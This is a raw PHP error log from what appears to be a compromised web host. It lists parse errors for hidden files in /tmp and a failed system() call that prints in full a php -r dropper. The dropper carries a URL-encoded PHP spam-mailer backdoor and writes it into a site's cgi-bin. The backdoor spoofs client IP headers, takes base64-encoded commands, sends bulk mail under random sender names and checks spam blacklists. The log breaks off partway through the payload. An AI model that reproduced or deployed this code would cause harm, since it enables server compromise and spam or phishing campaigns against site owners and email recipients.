"]" in /tmp/.ob_iconv_handle on line 5 [25-Jul-2025 21:26:27 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ibase_pconnection on line 5 [25-Jul-2025 21:27:37 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rindex on line 5 [26-Jul-2025 03:57:47 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.mb_convert on line 5 [26-Jul-2025 04:00:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.system on line 5 [26-Jul-2025 10:28:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [26-Jul-2025 10:29:46 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 5 [26-Jul-2025 17:01:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 5 [26-Jul-2025 17:01:48 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [26-Jul-2025 23:33:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [26-Jul-2025 23:34:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.dba_insertion on line 5 [27-Jul-2025 06:05:01 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 5 [27-Jul-2025 06:05:06 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rjust on line 5 [27-Jul-2025 12:34:11 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.uconvert on line 5 [27-Jul-2025 12:35:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.classes on line 5 [27-Jul-2025 19:20:40 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [27-Jul-2025 19:20:51 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.class on line 5 [28-Jul-2025 01:50:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 5 [28-Jul-2025 01:50:25 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 5 [28-Jul-2025 08:21:43 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.sys on line 5 [28-Jul-2025 08:24:30 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [28-Jul-2025 14:52:50 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 5 [28-Jul-2025 14:52:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.post on line 5 [28-Jul-2025 21:23:55 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 5 [28-Jul-2025 21:24:07 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 5 [29-Jul-2025 03:56:04 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [29-Jul-2025 03:57:28 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [29-Jul-2025 10:29:14 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [29-Jul-2025 10:29:26 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.content on line 5 [29-Jul-2025 16:37:27 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.parle_tokens on line 5 [29-Jul-2025 16:37:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.center on line 5 [29-Jul-2025 23:07:49 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.reset on line 5 [29-Jul-2025 23:08:00 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.db2_convert on line 5 [30-Jul-2025 05:38:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [30-Jul-2025 05:38:31 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.partition on line 5 [30-Jul-2025 12:09:36 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.oauthexceptions on line 5 [30-Jul-2025 12:09:53 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.created on line 5 [30-Jul-2025 18:41:17 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 5 [30-Jul-2025 18:44:12 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [31-Jul-2025 01:11:56 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 5 [31-Jul-2025 01:12:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.lock on line 5 [31-Jul-2025 07:28:33 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.rfind on line 5 [31-Jul-2025 07:30:34 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accept on line 5 [31-Jul-2025 14:01:58 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.locked on line 5 [31-Jul-2025 14:02:02 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.cache on line 5 [31-Jul-2025 20:33:22 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.accepted on line 5 [31-Jul-2025 20:37:09 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.include on line 5 [01-Aug-2025 03:05:20 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.ob_iconv_handle on line 5 [01-Aug-2025 03:06:44 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.multi on line 5 [01-Aug-2025 09:35:24 UTC] PHP Parse error: syntax error, unexpected double-quote mark, expecting "]" in /tmp/.internal on line 5 [01-Aug-2025 12:42:10 UTC] PHP Warning: system(): Unable to fork [php -r '$dirs=array_filter([sys_get_temp_dir(),"/tmp","/var/tmp",ini_get("upload_tmp_dir"),getenv("TEMP"),getenv("TMP"),getcwd()]);$c=rawurldecode("%3C%3Fphp%20%20%20%24p%20%3D%20%22/home/tokomrjk/pajang2.paussea.com/cgi-bin/bindex.php%22%3B%20%24c%20%3D%20rawurldecode%28%27%253C%253Fphp%250D%250A%250D%250Aif%2528isset%2528%2524_COOKIE%255B%2527bZ%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520die%2528%2527760Xb%2527.%25272pMI8%2527%2529%253B%250D%250A%257D%250D%250A%250D%250Aclass%2520CompactMailer%250D%250A%257B%250D%250A%2520%2520%2520%2520private%2520%2524ip%253B%250D%250A%2520%2520%2520%2520private%2520%2524randm_array%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520private%2520%2524attachment_array%2520%253D%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520private%2520%2524unsubscribe%2520%253D%25200%253B%250D%250A%2520%2520%2520%2520private%2520%2524encoding%2520%253D%2520%2527UTF-8%2527%253B%250D%250A%2520%2520%2520%2520private%2520%2524custom_headers%2520%253D%2520false%253B%250D%250A%2520%2520%2520%2520private%2520%2524context%253B%250D%250A%2520%2520%2520%2520private%2520%2524eol%2520%253D%2520%2522%255Cr%255Cn%2522%253B%250D%250A%250D%250A%2520%2520%2520%2520public%2520function%2520__construct%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540error_reporting%25280%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527display_errors%2527%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540set_time_limit%2528300%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ignore_user_abort%2528true%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527max_execution_time%2527%252C%2520300%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527mail.add_x_header%2527%252C%25200%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540ini_set%2528%2527expose_php%2527%252C%25200%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527check%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2527%252Aok%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2528empty%2528%2524_REQUEST%2529%2529%2520die%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527PHP_SELF%2527%255D%2520%253D%2520%2527/%2527%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eip%2520%253D%2520isset%2528%2524_SERVER%255B%2527SERVER_ADDR%2527%255D%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253F%2520%2524_SERVER%255B%2527SERVER_ADDR%2527%255D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%253A%2520rand%25281%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529.%2527.%2527.rand%25280%252C%2520255%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521empty%2528%2524_SERVER%255B%2527HTTP_X_FORWARDED_FOR%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527HTTP_X_FORWARDED_FOR%2527%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524_SERVER%2520as%2520%2524k%2520%253D%253E%2520%2524v%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524v%2520%253D%253D%2520%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2524k%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520break%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_SERVER%255B%2527REMOTE_ADDR%2527%255D%2520%253D%2520%2524this-%253Eip%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Econtext%2520%253D%2520%2540stream_context_create%2528array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522ssl%2522%2520%253D%253E%2520array%2528%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522verify_peer%2522%2520%2520%2520%2520%2520%2520%2520%253D%253E%2520false%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522verify_peer_name%2522%2520%2520%253D%253E%2520false%252C%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2522allow_self_signed%2522%2520%253D%253E%2520true%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2529%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524domain%2520%253D%2520%2524this-%253Eget_domain%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Ebasedomain%2520%253D%2520%2524domain%255B0%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Efulldomain%2520%253D%2520%2524domain%255B1%255D%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520public%2520function%2520run%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527r%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_redirect%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527u%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_unsubscribe%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527lu%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eshow_unsubscribe_log%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527du%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edelete_unsubscribe_log%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527ce%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520parse_str%2528base64_decode%2528%2524_REQUEST%255B%2527ce%2527%255D%2529%252C%2520%2524_REQUEST%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520elseif%2520%2528count%2528%2524_REQUEST%2529%2520%253D%253D%25201%2520%2526%2526%2520strlen%2528key%2528%2524_REQUEST%2529%2529%2520%253D%253D%25203%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520parse_str%2528base64_decode%2528%2524_REQUEST%255Bkey%2528%2524_REQUEST%2529%255D%2529%252C%2520%2524_REQUEST%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527e%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Eencoding%2520%253D%2520%2524_REQUEST%255B%2527e%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527che%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Ecustom_headers%2520%253D%2520%2524_REQUEST%255B%2527che%2527%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527ch%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_check%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527sn%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524this-%253Edo_send%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_redirect%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st1%2520%253D%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st2%2520%253D%2520%2527%253F%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528explode%2528%2527%2526%2527%252C%2520base64_decode%2528%2524_REQUEST%255B%2527r%2527%255D%2529%2529%2520as%2520%2524param%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524d_st2%2520%253D%2520explode%2528%2527%253D%2527%252C%2520trim%2528%2524param%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2524d_st2%255B0%255D%2520%253D%253D%2520%2527l%2527%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st%2520%253D%2520%2524d_st2%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st1%2520.%253D%2520%2524n_st2.%2524d_st2%255B0%255D.%2527%253D%2527.%2524d_st2%255B1%255D%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524n_st2%2520%253D%2520%2527%2526%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2522%253Cmeta%2520http-equiv%253D%255C%2522refresh%255C%2522%2520content%253D%255C%25220%253Burl%253D%2524n_st%2524n_st1%255C%2522%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_unsubscribe%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524d_st%2520%253D%2520base64_decode%2528%2524_REQUEST%255B%2527u%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2540file_put_contents%2528%2527logsubsc.log%2527%252C%2520date%2528%2527%255BY-m-d%2520H%253Ai%253As%255D%2520%2527%2529.%2524d_st.%2522%255Cr%255Cn%2522%252C%2520FILE_APPEND%2520%257C%2520LOCK_EX%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%2528%2522%253Cbr%253E%253Cbr%253E%253Cbr%253E%253Ccenter%253EYou%2520have%2520unsubscribed%2520from%2520the%2520newsletter%2521%253C/center%253E%253Cbr%253E%253Ccenter%253EEmail%253A%2520%253Cb%253E%2524d_st%253C/b%253E%253C/center%253E%2522%2529%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520show_unsubscribe_log%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_file%2528%2527logsubsc.log%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520die%2528nl2br%2528%2540file_get_contents%2528%2527logsubsc.log%2527%2529%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520delete_unsubscribe_log%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528is_file%2528%2527logsubsc.log%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2540unlink%2528%2527logsubsc.log%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520die%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_check%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524subj%2520%253D%2520isset%2528%2524_REQUEST%255B%2527s%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527s%2527%255D%2520%253A%2520%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524msg%2520%253D%2520isset%2528%2524_REQUEST%255B%2527ms%2527%255D%2529%2520%253F%2520%2524_REQUEST%255B%2527ms%2527%255D%2520%253A%2520%2524this-%253Ebasedomain%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527st%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Avalid%253Aok%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527m%2527%255D%2529%2520%2526%2526%2520function_exists%2528%2527mail%2527%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524em%2520%253D%2520explode%2528%2527%253A%2527%252C%2520%2524_REQUEST%255B%2527m%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524em%2520%253D%2520isset%2528%2524em%255B0%255D%2529%2520%253F%2520%2524em%255B0%255D%2520%253A%2520%2527%2527%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2528%2524this-%253Echeck_mail%2528%2524em%252C%2520%2524subj%252C%2520%2524msg%2529%2520%253F%2520%2527%252Amail%253Aok%252A%2527%2520%253A%2520%2527%252Amail%253Abad%252A%2527%2529.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%2520else%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2527%252Amail%253Abad%252A%2527.%2524this-%253Eeol%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527rb%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524rbl%2520%253D%2520%2524this-%253Echeck_rbl%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520echo%2520%2528%2524rbl%2520%253D%253D%2520%2527%2527%2520%253F%2520%2527%252Arbl%253Aok%252A%2527%2520%253A%2520%2527%252Arbl%253A%2527.%2524rbl.%2527%252A%2527%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520check_mail%2528%2524to%252C%2520%2524subj%252C%2520%2524msg%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524body%2520%2520%2520%2520%2520%2520%2520%2520%253D%2520chunk_split%2528base64_encode%2528%2524msg%2529%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%253D%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%253D%2520%2524from_name.%2527%2540%2527.%2524this-%253Ebasedomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520.%253D%2520%2522Content-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Ebasedomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subj%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521%2524sent%2520%2526%2526%2520%2524this-%253Ebasedomain%2520%2521%253D%2520%2524this-%253Efulldomain%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_name%2520%2520%2520%253D%2520%2524this-%253Erandom_text%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524from_addr%2520%2520%2520%253D%2520%2524from_name.%2527%2540%2527.%2524this-%253Efulldomain%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520%2520%253D%2520%2524this-%253Eget_headers%2528%2524from_name%252C%2520%2524from_addr%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524headers%2520%2520%2520%2520.%253D%2520%2522Content-Type%253A%2520text/html%253B%2520charset%253DUTF-8%255Cr%255CnContent-Transfer-Encoding%253A%2520base64%255Cr%255Cn%2522%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524sent%2520%253D%2520%2524this-%253Esend_email_method%2528%2524this-%253Efulldomain%252C%2520%2524from_addr%252C%2520%2524to%252C%2520%2524subj%252C%2520%2524body%252C%2520%2524headers%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520return%2520%2524sent%253B%250D%250A%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520private%2520function%2520do_send%2528%2529%250D%250A%2520%2520%2520%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528isset%2528%2524_REQUEST%255B%2527m%2527%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524a%2520%253D%2520%2540explode%2528%2527.%2527%252C%2520%2524this-%253Ebasedomain%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524_REQUEST%255B%2527m%2527%255D%2520%253D%2520str_replace%2528%2527%255Bshelldomain%253A%255D%2527%252C%2520ucfirst%2528%2524a%255B0%255D%2529%252C%2520%2524_REQUEST%255B%2527m%2527%255D%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D%250D%250A%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2524emails%2520%253D%2520isset%2528%2524_REQUEST%255B%2527em%2527%255D%2529%2520%253F%2520explode%2528%2522%255Cn%2522%252C%2520%2524_REQUEST%255B%2527em%2527%255D%2529%2520%253A%2520array%2528%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520foreach%2520%2528%2524emails%2520as%2520%2524email%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2524data%2520%2520%253D%2520explode%2528%2527%257C%2527%252C%2520trim%2528%2524email%2529%2529%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520if%2520%2528%2521isset%2528%2524data%255B0%255D%2529%2520%257C%257C%2520empty%2528%2524data%255B0%255D%2529%2529%2520%257B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520continue%253B%250D%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520